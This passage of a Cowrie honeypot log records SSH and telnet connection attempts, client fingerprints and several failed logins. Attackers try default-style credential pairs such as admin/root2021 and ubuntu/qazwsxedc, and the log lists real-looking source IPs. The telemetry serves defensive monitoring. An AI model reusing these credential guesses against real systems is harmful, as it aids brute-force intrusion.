","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:35.256137Z","src_ip":"212.154.234.9","session":"2e01ac1b8c0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.02897524833679,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:35.308755Z","src_ip":"221.121.143.23","session":"d2db21141018","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazwsxedc","message":"login attempt [ubuntu/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:35.997762Z","src_ip":"212.154.234.9","session":"2e01ac1b8c0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:37.182460Z","src_ip":"212.154.234.9","session":"2e01ac1b8c0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":40234,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7512acd17e0","protocol":"telnet","message":"New connection: 221.121.143.23:40234 (10.17.0.5:23) [session: d7512acd17e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:39.054521Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":40976,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fe6540368fe","protocol":"telnet","message":"New connection: 221.121.143.23:40976 (10.17.0.5:23) [session: 4fe6540368fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:40.301347Z"}
{"eventid":"cowrie.session.closed","duration":32.640854358673096,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:43.605965Z","src_ip":"221.121.143.23","session":"cbe431bff247","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.72300338745117,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:43.904531Z","src_ip":"221.121.143.23","session":"9d350f0eb380","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.94988226890564,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:44.636735Z","src_ip":"221.121.143.23","session":"7dac4c0c83e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":43616,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b30b7329b9f","protocol":"telnet","message":"New connection: 221.121.143.23:43616 (10.17.0.5:23) [session: 6b30b7329b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:44.837754Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":46166,"dst_ip":"10.17.0.5","dst_port":23,"session":"884f0684329e","protocol":"telnet","message":"New connection: 221.121.143.23:46166 (10.17.0.5:23) [session: 884f0684329e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:49.049046Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":47264,"dst_ip":"10.17.0.5","dst_port":23,"session":"20cdbe1e8db8","protocol":"telnet","message":"New connection: 221.121.143.23:47264 (10.17.0.5:23) [session: 20cdbe1e8db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:50.782941Z"}
{"eventid":"cowrie.session.closed","duration":31.952126502990723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:52.164755Z","src_ip":"221.121.143.23","session":"365b378f21e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.78608155250549,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:54.210886Z","src_ip":"221.121.143.23","session":"6024ed285d2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":51336,"dst_ip":"10.17.0.5","dst_port":23,"session":"b973fd2b3a88","protocol":"telnet","message":"New connection: 221.121.143.23:51336 (10.17.0.5:23) [session: b973fd2b3a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:57.952069Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":50776,"dst_ip":"10.17.0.5","dst_port":23,"session":"a47219d90203","protocol":"telnet","message":"New connection: 221.121.143.23:50776 (10.17.0.5:23) [session: a47219d90203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:00.003157Z"}
{"eventid":"cowrie.session.closed","duration":32.83187460899353,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:01.032244Z","src_ip":"221.121.143.23","session":"a05362bc5c3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.111201763153076,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:02.247192Z","src_ip":"221.121.143.23","session":"dd8255c47268","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.9713819026947,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:02.567736Z","src_ip":"221.121.143.23","session":"bb564707643e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.621131896972656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:04.931386Z","src_ip":"221.121.143.23","session":"78c3b89a518f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.630149841308594,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:05.372718Z","src_ip":"221.121.143.23","session":"be2c8f9b5ab4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":55776,"dst_ip":"10.17.0.5","dst_port":23,"session":"6daa9acf5590","protocol":"telnet","message":"New connection: 221.121.143.23:55776 (10.17.0.5:23) [session: 6daa9acf5590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:05.419368Z"}
{"eventid":"cowrie.session.closed","duration":32.004950523376465,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:06.516895Z","src_ip":"221.121.143.23","session":"0aeeedace7aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":56610,"dst_ip":"10.17.0.5","dst_port":23,"session":"264e60613d4b","protocol":"telnet","message":"New connection: 221.121.143.23:56610 (10.17.0.5:23) [session: 264e60613d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:07.924700Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58118,"dst_ip":"159.203.135.109","dst_port":22,"session":"94d69f3d4982","protocol":"ssh","message":"New connection: 159.203.92.129:58118 (159.203.135.109:22) [session: 94d69f3d4982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:11.448275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:11.452454Z","src_ip":"159.203.92.129","session":"94d69f3d4982","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:11.456378Z","src_ip":"159.203.92.129","session":"94d69f3d4982","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root2","message":"login attempt [admin/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:11.467991Z","src_ip":"159.203.92.129","session":"94d69f3d4982","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.63657546043396,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:11.690956Z","src_ip":"221.121.143.23","session":"d7512acd17e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:12.474077Z","src_ip":"159.203.92.129","session":"94d69f3d4982","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":58126,"dst_ip":"10.17.0.5","dst_port":23,"session":"0407ffdbbfb8","protocol":"telnet","message":"New connection: 221.121.143.23:58126 (10.17.0.5:23) [session: 0407ffdbbfb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:12.519726Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":53570,"dst_ip":"10.17.0.5","dst_port":23,"session":"d99245c7da1e","protocol":"telnet","message":"New connection: 49.88.156.34:53570 (10.17.0.5:23) [session: d99245c7da1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:13.067186Z"}
{"eventid":"cowrie.session.closed","duration":33.32323956489563,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:13.624482Z","src_ip":"221.121.143.23","session":"4fe6540368fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":34298,"dst_ip":"10.17.0.5","dst_port":23,"session":"181c7dcfef51","protocol":"telnet","message":"New connection: 221.121.143.23:34298 (10.17.0.5:23) [session: 181c7dcfef51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:17.059514Z"}
{"eventid":"cowrie.session.closed","duration":35.15129518508911,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:19.988893Z","src_ip":"221.121.143.23","session":"6b30b7329b9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.6030752658844,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:22.651988Z","src_ip":"221.121.143.23","session":"884f0684329e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.23285174369812,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:25.015651Z","src_ip":"221.121.143.23","session":"20cdbe1e8db8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":38842,"dst_ip":"10.17.0.5","dst_port":23,"session":"380ca54daf5c","protocol":"telnet","message":"New connection: 221.121.143.23:38842 (10.17.0.5:23) [session: 380ca54daf5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:28.032632Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":39490,"dst_ip":"10.17.0.5","dst_port":23,"session":"b67e208a37f4","protocol":"telnet","message":"New connection: 221.121.143.23:39490 (10.17.0.5:23) [session: b67e208a37f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:29.135068Z"}
{"eventid":"cowrie.session.closed","duration":35.482797145843506,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:33.434753Z","src_ip":"221.121.143.23","session":"b973fd2b3a88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.51910066604614,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:33.522118Z","src_ip":"221.121.143.23","session":"a47219d90203","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":47086,"dst_ip":"10.17.0.5","dst_port":23,"session":"819e39bc5fdd","protocol":"telnet","message":"New connection: 221.121.143.23:47086 (10.17.0.5:23) [session: 819e39bc5fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:39.118687Z"}
{"eventid":"cowrie.session.closed","duration":34.69572591781616,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:40.114968Z","src_ip":"221.121.143.23","session":"6daa9acf5590","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":48498,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8123241944d","protocol":"telnet","message":"New connection: 221.121.143.23:48498 (10.17.0.5:23) [session: e8123241944d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:41.528004Z"}
{"eventid":"cowrie.session.closed","duration":33.782607316970825,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:41.707209Z","src_ip":"221.121.143.23","session":"264e60613d4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.475131034851074,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:45.994751Z","src_ip":"221.121.143.23","session":"0407ffdbbfb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.90271282196045,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:49.962095Z","src_ip":"221.121.143.23","session":"181c7dcfef51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":55952,"dst_ip":"10.17.0.5","dst_port":23,"session":"dac4137bd068","protocol":"telnet","message":"New connection: 221.121.143.23:55952 (10.17.0.5:23) [session: dac4137bd068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:52.900906Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32920,"dst_ip":"159.203.135.109","dst_port":22,"session":"59f3a7756264","protocol":"ssh","message":"New connection: 159.203.92.129:32920 (159.203.135.109:22) [session: 59f3a7756264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:53.579860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:53.583746Z","src_ip":"159.203.92.129","session":"59f3a7756264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:53.587940Z","src_ip":"159.203.92.129","session":"59f3a7756264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root2021","message":"login attempt [admin/root2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:53.604004Z","src_ip":"159.203.92.129","session":"59f3a7756264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:57:54.611017Z","src_ip":"159.203.92.129","session":"59f3a7756264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":32816,"dst_ip":"10.17.0.5","dst_port":23,"session":"62fdf20e9494","protocol":"telnet","message":"New connection: 221.121.143.23:32816 (10.17.0.5:23) [session: 62fdf20e9494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:01.025687Z"}
{"eventid":"cowrie.session.closed","duration":31.97364068031311,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:01.108577Z","src_ip":"221.121.143.23","session":"b67e208a37f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.3776593208313,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:01.410272Z","src_ip":"221.121.143.23","session":"380ca54daf5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63421082496643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:10.752781Z","src_ip":"221.121.143.23","session":"819e39bc5fdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.82851791381836,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:16.356392Z","src_ip":"221.121.143.23","session":"e8123241944d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":46020,"dst_ip":"10.17.0.5","dst_port":23,"session":"1187e97d3167","protocol":"telnet","message":"New connection: 221.121.143.23:46020 (10.17.0.5:23) [session: 1187e97d3167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:23.090986Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.92.242.30","src_port":52262,"dst_ip":"10.17.0.5","dst_port":23,"session":"1275e97586c7","protocol":"telnet","message":"New connection: 85.92.242.30:52262 (10.17.0.5:23) [session: 1275e97586c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:23.655516Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":46860,"dst_ip":"10.17.0.5","dst_port":23,"session":"319976a7712f","protocol":"telnet","message":"New connection: 221.121.143.23:46860 (10.17.0.5:23) [session: 319976a7712f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:25.544419Z"}
{"eventid":"cowrie.session.closed","duration":34.98023223876953,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:27.880991Z","src_ip":"221.121.143.23","session":"dac4137bd068","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":48524,"dst_ip":"10.17.0.5","dst_port":23,"session":"c644323f2899","protocol":"telnet","message":"New connection: 221.121.143.23:48524 (10.17.0.5:23) [session: c644323f2899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:28.496786Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.186.98.14","src_port":30662,"dst_ip":"10.17.0.5","dst_port":23,"session":"63c4c2278f61","protocol":"telnet","message":"New connection: 88.186.98.14:30662 (10.17.0.5:23) [session: 63c4c2278f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:28.503593Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":43521,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8cb07adf7e4","protocol":"ssh","message":"New connection: 212.154.234.9:43521 (10.17.0.5:22) [session: b8cb07adf7e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:30.340865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:58:30.346687Z","src_ip":"212.154.234.9","session":"b8cb07adf7e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 